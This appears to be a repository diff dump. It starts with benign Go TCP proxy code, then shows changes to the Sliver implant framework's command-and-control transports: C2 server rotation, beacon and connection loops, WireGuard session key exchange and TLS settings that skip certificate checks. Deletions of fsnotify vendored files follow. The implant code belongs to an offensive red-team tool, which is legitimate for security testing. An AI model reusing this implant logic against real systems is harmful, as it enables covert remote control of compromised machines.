// serveConn runs in its own goroutine and matches c against routes.
// It returns whether it matched purely for testing.
func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
br := bufio.NewReader(c)
for _, route := range routes {
if target, hostName := route.match(br); target != nil {
if n := br.Buffered(); n > 0 {
peeked, _ := br.Peek(br.Buffered())
c = &Conn{
HostName: hostName,
Peeked: peeked,
Conn: c,
}
}
target.HandleConn(c)
return true
}
}
// TODO: hook for this?
log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
c.Close()
return false
}
// Conn is an incoming connection that has had some bytes read from it
// to determine how to route the connection. The Read method stitches
// the peeked bytes and unread bytes back together.
type Conn struct {
// HostName is the hostname field that was sent to the request router.
// In the case of TLS, this is the SNI header, in the case of HTTPHost
// route, it will be the host header. In the case of a fixed
// route, i.e. those created with AddRoute(), this will always be
// empty. This can be useful in the case where further routing decisions
// need to be made in the Target impementation.
HostName string
// Peeked are the bytes that have been read from Conn for the
// purposes of route matching, but have not yet been consumed
// by Read calls. It set to nil by Read when fully consumed.
Peeked []byte
// Conn is the underlying connection.
// It can be type asserted against *net.TCPConn or other types
// as needed. It should not be read from directly unless
// Peeked is nil.
net.Conn
}
func (c *Conn) Read(p []byte) (n int, err error) {
if len(c.Peeked) > 0 {
n = copy(p, c.Peeked)
c.Peeked = c.Peeked[n:]
if len(c.Peeked) == 0 {
c.Peeked = nil
}
return n, nil
}
return c.Conn.Read(p)
}
// Target is what an incoming matched connection is sent to.
type Target interface {
// HandleConn is called when an incoming connection is
// matched. After the call to HandleConn, the tcpproxy
// package never touches the conn again. Implementations are
// responsible for closing the connection when needed.
//
// The concrete type of conn will be of type *Conn if any
// bytes have been consumed for the purposes of route
// matching.
HandleConn(net.Conn)
}
// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
func To(addr string) *DialProxy {
return &DialProxy{Addr: addr}
}
// DialProxy implements Target by dialing a new connection to Addr
// and then proxying data back and forth.
//
// The To func is a shorthand way of creating a DialProxy.
type DialProxy struct {
// Addr is the TCP address to proxy to.
Addr string
// KeepAlivePeriod sets the period between TCP keep alives.
// If zero, a default is used. To disable, use a negative number.
// The keep-alive is used for both the client connection and
KeepAlivePeriod time.Duration
// DialTimeout optionally specifies a dial timeout.
// If zero, a default is used.
// If negative, the timeout is disabled.
DialTimeout time.Duration
// DialContext optionally specifies an alternate dial function
// for TCP targets. If nil, the standard
// net.Dialer.DialContext method is used.
DialContext func(ctx context.Context, network, address string) (net.Conn, error)
// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
// If nil, the error is logged and src is closed.
// If non-nil, src is not closed automatically.
OnDialError func(src net.Conn, dstDialErr error)
// ProxyProtocolVersion optionally specifies the version of
// HAProxy's PROXY protocol to use. The PROXY protocol provides
// connection metadata to the DialProxy target, via a header
// inserted ahead of the client's traffic. The DialProxy target
// must explicitly support and expect the PROXY header; there is
// no graceful downgrade.
// If zero, no PROXY header is sent. Currently, version 1 is supported.
ProxyProtocolVersion int
}
// UnderlyingConn returns c.Conn if c of type *Conn,
// otherwise it returns c.
func UnderlyingConn(c net.Conn) net.Conn {
if wrap, ok := c.(*Conn); ok {
return wrap.Conn
}
return c
}
func goCloseConn(c net.Conn) { go c.Close() }
// HandleConn implements the Target interface.
func (dp *DialProxy) HandleConn(src net.Conn) {
ctx := context.Background()
var cancel context.CancelFunc
if dp.DialTimeout >= 0 {
ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
}
dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
if cancel != nil {
cancel()
}
if err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(dst)
if err = dp.sendProxyHeader(dst, src); err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(src)
if ka := dp.keepAlivePeriod(); ka > 0 {
if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
if c, ok := dst.(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
}
errc := make(chan error, 1)
go proxyCopy(errc, src, dst)
go proxyCopy(errc, dst, src)
<-errc
}
func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
switch dp.ProxyProtocolVersion {
case 0:
return nil
case 1:
var srcAddr, dstAddr *net.TCPAddr
if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
srcAddr = a
}
if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
dstAddr = a
}
if srcAddr == nil || dstAddr == nil {
_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
return err
}
family := "TCP4"
if srcAddr.IP.To4() == nil {
family = "TCP6"
}
_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
return err
default:
return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
}
}
// proxyCopy is the function that copies bytes around.
// It's a named function instead of a func literal so users get
// named goroutines in debug goroutine stack dumps.
func proxyCopy(errc chan<- error, dst, src net.Conn) {
// Before we unwrap src and/or dst, copy any buffered data.
if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
if _, err := dst.Write(wc.Peeked); err != nil {
errc <- err
return
}
wc.Peeked = nil
}
// Unwrap the src and dst from *Conn to *net.TCPConn so Go
// 1.11's splice optimization kicks in.
src = UnderlyingConn(src)
dst = UnderlyingConn(dst)
_, err := io.Copy(dst, src)
errc <- err
}
func (dp *DialProxy) keepAlivePeriod() time.Duration {
if dp.KeepAlivePeriod != 0 {
return dp.KeepAlivePeriod
}
return time.Minute
}
func (dp *DialProxy) dialTimeout() time.Duration {
if dp.DialTimeout > 0 {
return dp.DialTimeout
}
return 10 * time.Second
}
var defaultDialer = new(net.Dialer)
func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
if dp.DialContext != nil {
return dp.DialContext
}
return defaultDialer.DialContext
}
func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
if dp.OnDialError != nil {
return dp.OnDialError
}
return func(src net.Conn, dstDialErr error) {
log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
src.Close()
}
}
+2 -2
View File
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
}
// StartBeaconLoop - Starts the beacon loop generator
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.Debug}}
log.Printf("Starting beacon loop ...")
// {{end}}
@@ -122,7 +122,7 @@ func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
nextBeacon := make(chan *Beacon)
innerAbort := make(chan struct{})
c2Generator := C2Generator(innerAbort)
c2Generator := C2Generator(c2s, innerAbort)
go func() {
defer close(nextBeacon)
+6 -24
View File
@@ -1,23 +1,5 @@
package transports
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
"sync"
@@ -32,7 +14,7 @@ type Connection struct {
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels map[uint64]*Tunnel
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
@@ -71,7 +53,7 @@ func (c *Connection) Cleanup() {
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.tunnels[ID]
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
@@ -79,7 +61,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.tunnels[tun.ID] = tun
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
@@ -87,17 +69,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.tunnels, ID)
delete(*c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range c.tunnels {
for id, tunnel := range *c.tunnels {
tunnel.Close()
delete(c.tunnels, id)
delete(*c.tunnels, id)
}
}
+2 -11
View File
@@ -28,7 +28,6 @@ import (
// {{if .Config.Debug}}
"log"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/proxy"
@@ -37,20 +36,12 @@ import (
// GoHTTPDriver - Pure Go HTTP driver
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
var transport *http.Transport
tlsConfig := &tls.Config{
InsecureSkipVerify: true, // We don't care about the HTTP(S) layer certs
}
// {{if .Config.Debug}}
if cryptography.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
}
// {{end}}
if !secure {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: tlsConfig,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
} else {
transport = &http.Transport{
@@ -59,7 +50,7 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
Timeout: opts.NetTimeout,
}).Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: tlsConfig,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
}
client := &http.Client{
@@ -58,7 +58,6 @@ const (
var (
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
TimeDelta time.Duration = 0
)
// HTTPOptions - c2 specific configuration options
@@ -335,8 +334,7 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
uri := s.startSessionURL()
s.NonceQueryArgument(uri, nonce)
timestamp := time.Now().UTC().Add(TimeDelta)
otpCode := cryptography.GetExactOTPCode(timestamp)
otpCode := cryptography.GetOTPCode()
s.OTPQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
@@ -351,15 +349,6 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
return err
}
if resp.StatusCode != http.StatusOK {
serverDateHeader := resp.Header.Get("Date")
if serverDateHeader != "" {
// If the request failed and there is a Date header, find the time difference and save it for the next request
curTime := time.Now().UTC()
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
if err == nil {
TimeDelta = serverTime.UTC().Sub(curTime)
}
}
// {{if .Config.Debug}}
log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
// {{end}}
-5
View File
@@ -167,11 +167,6 @@ func getTLSConfig() *tls.Config {
return cryptography.RootOnlyVerifyCertificate(caCertPEM, rawCerts, verifiedChains)
},
}
// {{if .Config.Debug}}
if cryptography.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
}
// {{end}}
return tlsConfig
}
+7 -7
View File
@@ -80,7 +80,7 @@ type Start func() error
type Stop func() error
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
// {{if .Config.Debug}}
log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
nextConnection := make(chan *Connection)
innerAbort := make(chan struct{})
c2Generator := C2Generator(innerAbort)
c2Generator := C2Generator(c2s, innerAbort)
go func() {
var connection *Connection
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: false,
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+9 -17
View File
@@ -36,18 +36,10 @@ const (
)
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
// {{if .Config.Debug}}
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
// {{end}}
c2Servers := []func() string{}
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
generator := make(chan *url.URL)
go func() {
defer close(generator)
@@ -56,16 +48,16 @@ func C2Generator(abort <-chan struct{}) <-chan *url.URL {
var next string
switch "{{.Config.ConnectionStrategy}}" {
case strategyRandom: // Random
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = c2Servers[insecureRand.Intn(len(c2Servers))]
case strategyRandomDomain: // Random Domain
// Select the next sequential C2 then use it's protocol to make a random
// selection from all C2s that share it's protocol.
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = randomCCDomain(c2Servers, next)
case strategySequential: // Sequential
next = c2Servers[c2Counter%uint(len(c2Servers))]()
next = c2Servers[c2Counter%uint(len(c2Servers))]
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]()
next = c2Servers[c2Counter%uint(len(c2Servers))]
}
c2Counter++
if ^uint(0) < c2Counter {
@@ -98,15 +90,15 @@ func C2Generator(abort <-chan struct{}) <-chan *url.URL {
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(ccServers []func() string, next string) string {
func randomCCDomain(ccServers []string, next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []func() string{}
pool := []string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc())
uri, err := url.Parse(cc)
if err != nil {
continue
}
@@ -114,7 +106,7 @@ func randomCCDomain(ccServers []func() string, next string) string {
pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]()
return pool[insecureRand.Intn(len(pool))]
}
var (
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -59,11 +59,7 @@ var (
wgKeyExchangePort = getWgKeyExchangePort()
wgTcpCommsPort = getWgTcpCommsPort()
wgSessPrivKey string
wgSessPubKey string
PingInterval = 2 * time.Minute
failedConn = 0
)
// GetTNet - Get the netstack Net object
@@ -155,11 +151,12 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return envelope, nil
}
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
func getSessKeys(address string, port uint16) error {
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
if err != nil {
return err
return nil, nil, err
}
dev.Up()
@@ -173,10 +170,10 @@ func getSessKeys(address string, port uint16) error {
// {{if .Config.Debug}}
log.Printf("Unable to connect to wg key exchange listener: %v", err)
// {{end}}
return err
return nil, nil, err
}
wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)
privKey, pubKey, newIP := doKeyExchange(keyExchangeConnection)
// {{if .Config.Debug}}
log.Printf("Signaling wg device to go down")
@@ -189,21 +186,12 @@ func getSessKeys(address string, port uint16) error {
// {{if .Config.Debug}}
log.Printf("Failed to close device.Device: %s", err)
// {{end}}
return err
}
return nil
}
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
if wgSessPrivKey == "" || failedConn > 2 {
getSessKeys(address, port)
return nil, nil, err
}
// Bring up actual wireguard connection using retrieved keys and IP
_, dev, tNet, err := bringUpWGInterface(address, port, wgSessPrivKey, wgSessPubKey, tunAddress)
// Bring up second wireguard connection using retrieved keys and IP
_, dev, tNet, err = bringUpWGInterface(address, port, privKey, pubKey, newIP)
if err != nil {
failedConn++
return nil, nil, err
}
@@ -212,15 +200,14 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// {{if .Config.Debug}}
log.Printf("Unable to connect to sliver listener: %v", err)
// {{end}}
failedConn++
return nil, nil, err
}
// {{if .Config.Debug}}
log.Printf("Successfully connected to sliver listener")
// {{end}}
failedConn = 0
tunnelNet = tNet
tunAddress = newIP
return connection, dev, nil
}
-12
View File
@@ -1,12 +0,0 @@
root = true
[*.go]
indent_style = tab
indent_size = 4
insert_final_newline = true
[*.{yml,yaml}]
indent_style = space
indent_size = 2
insert_final_newline = true
trim_trailing_whitespace = true
@@ -1 +0,0 @@
go.sum linguist-generated
-6
View File
@@ -1,6 +0,0 @@
# Setup a Global .gitignore for OS and editor generated files:
# https://help.github.com/articles/ignoring-files
# git config --global core.excludesfile ~/.gitignore_global
.vagrant
*.sublime-project
-36
View File
@@ -1,36 +0,0 @@
sudo: false
language: go
go:
- "stable"
- "1.11.x"
- "1.10.x"
- "1.9.x"
matrix:
include:
- go: "stable"
env: GOLINT=true
allow_failures:
- go: tip
fast_finish: true
before_install:
- if [ ! -z "${GOLINT}" ]; then go get -u golang.org/x/lint/golint; fi
script:
- go test --race ./...
after_script:
- test -z "$(gofmt -s -l -w . | tee /dev/stderr)"
- if [ ! -z "${GOLINT}" ]; then echo running golint; golint --set_exit_status ./...; else echo skipping golint; fi
- go vet ./...
os:
- linux
- osx
- windows
notifications:
email: false
-52
View File
@@ -1,52 +0,0 @@
# Names should be added to this file as
# Name or Organization <email address>
# The email address is not required for organizations.
# You can update this list using the following command:
#
# $ git shortlog -se | awk '{print $2 " " $3 " " $4}'
# Please keep the list sorted.
Aaron L <[email protected]>
Adrien Bustany <[email protected]>
Amit Krishnan <[email protected]>
Anmol Sethi <[email protected]>
Bjørn Erik Pedersen <[email protected]>
Bruno Bigras <[email protected]>
Caleb Spare <[email protected]>
Case Nelson <[email protected]>
Chris Howey <[email protected]> <[email protected]>
Christoffer Buchholz <[email protected]>
Daniel Wagner-Hall <[email protected]>
Dave Cheney <[email protected]>
Evan Phoenix <[email protected]>
Francisco Souza <[email protected]>
Hari haran <[email protected]>
John C Barstow
Kelvin Fo <[email protected]>
Ken-ichirou MATSUZAWA <[email protected]>
Matt Layher <[email protected]>
Nathan Youngman <[email protected]>
Nickolai Zeldovich <[email protected]>
Patrick <[email protected]>
Paul Hammond <[email protected]>
Pawel Knap <[email protected]>
Pieter Droogendijk <[email protected]>
Pursuit92 <[email protected]>
Riku Voipio <[email protected]>
Rob Figueiredo <[email protected]>
Rodrigo Chiossi <[email protected]>
Slawek Ligus <[email protected]>
Soge Zhang <[email protected]>
Tiffany Jernigan <[email protected]>
Tilak Sharma <[email protected]>
Tom Payne <[email protected]>
Travis Cline <[email protected]>
Tudor Golubenco <[email protected]>
Vahe Khachikyan <[email protected]>
Yukang <[email protected]>
bronze1man <[email protected]>
debrando <[email protected]>
henrikedwards <[email protected]>
铁哥 <[email protected]>
-317
View File
@@ -1,317 +0,0 @@
# Changelog
## v1.4.7 / 2018-01-09
* BSD/macOS: Fix possible deadlock on closing the watcher on kqueue (thanks @nhooyr and @glycerine)
* Tests: Fix missing verb on format string (thanks @rchiossi)
* Linux: Fix deadlock in Remove (thanks @aarondl)
* Linux: Watch.Add improvements (avoid race, fix consistency, reduce garbage) (thanks @twpayne)
* Docs: Moved FAQ into the README (thanks @vahe)
* Linux: Properly handle inotify's IN_Q_OVERFLOW event (thanks @zeldovich)
* Docs: replace references to OS X with macOS
## v1.4.2 / 2016-10-10
* Linux: use InotifyInit1 with IN_CLOEXEC to stop leaking a file descriptor to a child process when using fork/exec [#178](https://github.com/fsnotify/fsnotify/pull/178) (thanks @pattyshack)
## v1.4.1 / 2016-10-04
* Fix flaky inotify stress test on Linux [#177](https://github.com/fsnotify/fsnotify/pull/177) (thanks @pattyshack)
## v1.4.0 / 2016-10-01
* add a String() method to Event.Op [#165](https://github.com/fsnotify/fsnotify/pull/165) (thanks @oozie)
## v1.3.1 / 2016-06-28
* Windows: fix for double backslash when watching the root of a drive [#151](https://github.com/fsnotify/fsnotify/issues/151) (thanks @brunoqc)
## v1.3.0 / 2016-04-19
* Support linux/arm64 by [patching](https://go-review.googlesource.com/#/c/21971/) x/sys/unix and switching to to it from syscall (thanks @suihkulokki) [#135](https://github.com/fsnotify/fsnotify/pull/135)
## v1.2.10 / 2016-03-02
* Fix golint errors in windows.go [#121](https://github.com/fsnotify/fsnotify/pull/121) (thanks @tiffanyfj)
## v1.2.9 / 2016-01-13
kqueue: Fix logic for CREATE after REMOVE [#111](https://github.com/fsnotify/fsnotify/pull/111) (thanks @bep)
## v1.2.8 / 2015-12-17
* kqueue: fix race condition in Close [#105](https://github.com/fsnotify/fsnotify/pull/105) (thanks @djui for reporting the issue and @ppknap for writing a failing test)
* inotify: fix race in test
* enable race detection for continuous integration (Linux, Mac, Windows)
## v1.2.5 / 2015-10-17
* inotify: use epoll_create1 for arm64 support (requires Linux 2.6.27 or later) [#100](https://github.com/fsnotify/fsnotify/pull/100) (thanks @suihkulokki)
* inotify: fix path leaks [#73](https://github.com/fsnotify/fsnotify/pull/73) (thanks @chamaken)
* kqueue: watch for rename events on subdirectories [#83](https://github.com/fsnotify/fsnotify/pull/83) (thanks @guotie)
* kqueue: avoid infinite loops from symlinks cycles [#101](https://github.com/fsnotify/fsnotify/pull/101) (thanks @illicitonion)
## v1.2.1 / 2015-10-14
* kqueue: don't watch named pipes [#98](https://github.com/fsnotify/fsnotify/pull/98) (thanks @evanphx)
## v1.2.0 / 2015-02-08
* inotify: use epoll to wake up readEvents [#66](https://github.com/fsnotify/fsnotify/pull/66) (thanks @PieterD)
* inotify: closing watcher should now always shut down goroutine [#63](https://github.com/fsnotify/fsnotify/pull/63) (thanks @PieterD)
* kqueue: close kqueue after removing watches, fixes [#59](https://github.com/fsnotify/fsnotify/issues/59)
## v1.1.1 / 2015-02-05
* inotify: Retry read on EINTR [#61](https://github.com/fsnotify/fsnotify/issues/61) (thanks @PieterD)
## v1.1.0 / 2014-12-12
* kqueue: rework internals [#43](https://github.com/fsnotify/fsnotify/pull/43)
* add low-level functions
* only need to store flags on directories
* less mutexes [#13](https://github.com/fsnotify/fsnotify/issues/13)
* done can be an unbuffered channel
* remove calls to os.NewSyscallError
* More efficient string concatenation for Event.String() [#52](https://github.com/fsnotify/fsnotify/pull/52) (thanks @mdlayher)
* kqueue: fix regression in rework causing subdirectories to be watched [#48](https://github.com/fsnotify/fsnotify/issues/48)
* kqueue: cleanup internal watch before sending remove event [#51](https://github.com/fsnotify/fsnotify/issues/51)
## v1.0.4 / 2014-09-07
* kqueue: add dragonfly to the build tags.
* Rename source code files, rearrange code so exported APIs are at the top.
* Add done channel to example code. [#37](https://github.com/fsnotify/fsnotify/pull/37) (thanks @chenyukang)
## v1.0.3 / 2014-08-19
* [Fix] Windows MOVED_TO now translates to Create like on BSD and Linux. [#36](https://github.com/fsnotify/fsnotify/issues/36)
## v1.0.2 / 2014-08-17
* [Fix] Missing create events on macOS. [#14](https://github.com/fsnotify/fsnotify/issues/14) (thanks @zhsso)
* [Fix] Make ./path and path equivalent. (thanks @zhsso)
## v1.0.0 / 2014-08-15
* [API] Remove AddWatch on Windows, use Add.
* Improve documentation for exported identifiers. [#30](https://github.com/fsnotify/fsnotify/issues/30)
* Minor updates based on feedback from golint.
## dev / 2014-07-09
* Moved to [github.com/fsnotify/fsnotify](https://github.com/fsnotify/fsnotify).
* Use os.NewSyscallError instead of returning errno (thanks @hariharan-uno)
## dev / 2014-07-04
* kqueue: fix incorrect mutex used in Close()
* Update example to demonstrate usage of Op.
## dev / 2014-06-28
* [API] Don't set the Write Op for attribute notifications [#4](https://github.com/fsnotify/fsnotify/issues/4)
* Fix for String() method on Event (thanks Alex Brainman)
* Don't build on Plan 9 or Solaris (thanks @4ad)
## dev / 2014-06-21
* Events channel of type Event rather than *Event.
* [internal] use syscall constants directly for inotify and kqueue.
* [internal] kqueue: rename events to kevents and fileEvent to event.
## dev / 2014-06-19
* Go 1.3+ required on Windows (uses syscall.ERROR_MORE_DATA internally).
* [internal] remove cookie from Event struct (unused).
* [internal] Event struct has the same definition across every OS.
* [internal] remove internal watch and removeWatch methods.
## dev / 2014-06-12
* [API] Renamed Watch() to Add() and RemoveWatch() to Remove().
* [API] Pluralized channel names: Events and Errors.
* [API] Renamed FileEvent struct to Event.
* [API] Op constants replace methods like IsCreate().
## dev / 2014-06-12
* Fix data race on kevent buffer (thanks @tilaks) [#98](https://github.com/howeyc/fsnotify/pull/98)
## dev / 2014-05-23
* [API] Remove current implementation of WatchFlags.
* current implementation doesn't take advantage of OS for efficiency
* provides little benefit over filtering events as they are received, but has extra bookkeeping and mutexes
* no tests for the current implementation
* not fully implemented on Windows [#93](https://github.com/howeyc/fsnotify/issues/93#issuecomment-39285195)
## v0.9.3 / 2014-12-31
* kqueue: cleanup internal watch before sending remove event [#51](https://github.com/fsnotify/fsnotify/issues/51)
## v0.9.2 / 2014-08-17
* [Backport] Fix missing create events on macOS. [#14](https://github.com/fsnotify/fsnotify/issues/14) (thanks @zhsso)
## v0.9.1 / 2014-06-12
* Fix data race on kevent buffer (thanks @tilaks) [#98](https://github.com/howeyc/fsnotify/pull/98)
## v0.9.0 / 2014-01-17
* IsAttrib() for events that only concern a file's metadata [#79][] (thanks @abustany)
* [Fix] kqueue: fix deadlock [#77][] (thanks @cespare)
* [NOTICE] Development has moved to `code.google.com/p/go.exp/fsnotify` in preparation for inclusion in the Go standard library.
## v0.8.12 / 2013-11-13
* [API] Remove FD_SET and friends from Linux adapter
## v0.8.11 / 2013-11-02
* [Doc] Add Changelog [#72][] (thanks @nathany)
* [Doc] Spotlight and double modify events on macOS [#62][] (reported by @paulhammond)
## v0.8.10 / 2013-10-19
* [Fix] kqueue: remove file watches when parent directory is removed [#71][] (reported by @mdwhatcott)
* [Fix] kqueue: race between Close and readEvents [#70][] (reported by @bernerdschaefer)
* [Doc] specify OS-specific limits in README (thanks @debrando)
## v0.8.9 / 2013-09-08
* [Doc] Contributing (thanks @nathany)
* [Doc] update package path in example code [#63][] (thanks @paulhammond)
* [Doc] GoCI badge in README (Linux only) [#60][]
* [Doc] Cross-platform testing with Vagrant [#59][] (thanks @nathany)
## v0.8.8 / 2013-06-17
* [Fix] Windows: handle `ERROR_MORE_DATA` on Windows [#49][] (thanks @jbowtie)
## v0.8.7 / 2013-06-03
* [API] Make syscall flags internal
* [Fix] inotify: ignore event changes
* [Fix] race in symlink test [#45][] (reported by @srid)
* [Fix] tests on Windows
* lower case error messages
## v0.8.6 / 2013-05-23
* kqueue: Use EVT_ONLY flag on Darwin
* [Doc] Update README with full example
## v0.8.5 / 2013-05-09
* [Fix] inotify: allow monitoring of "broken" symlinks (thanks @tsg)
## v0.8.4 / 2013-04-07
* [Fix] kqueue: watch all file events [#40][] (thanks @ChrisBuchholz)
## v0.8.3 / 2013-03-13
* [Fix] inoitfy/kqueue memory leak [#36][] (reported by @nbkolchin)
* [Fix] kqueue: use fsnFlags for watching a directory [#33][] (reported by @nbkolchin)
## v0.8.2 / 2013-02-07
* [Doc] add Authors
* [Fix] fix data races for map access [#29][] (thanks @fsouza)
## v0.8.1 / 2013-01-09
* [Fix] Windows path separators
* [Doc] BSD License
## v0.8.0 / 2012-11-09
* kqueue: directory watching improvements (thanks @vmirage)
* inotify: add `IN_MOVED_TO` [#25][] (requested by @cpisto)
* [Fix] kqueue: deleting watched directory [#24][] (reported by @jakerr)
## v0.7.4 / 2012-10-09
* [Fix] inotify: fixes from https://codereview.appspot.com/5418045/ (ugorji)
* [Fix] kqueue: preserve watch flags when watching for delete [#21][] (reported by @robfig)
* [Fix] kqueue: watch the directory even if it isn't a new watch (thanks @robfig)
* [Fix] kqueue: modify after recreation of file
## v0.7.3 / 2012-09-27
* [Fix] kqueue: watch with an existing folder inside the watched folder (thanks @vmirage)
* [Fix] kqueue: no longer get duplicate CREATE events
## v0.7.2 / 2012-09-01
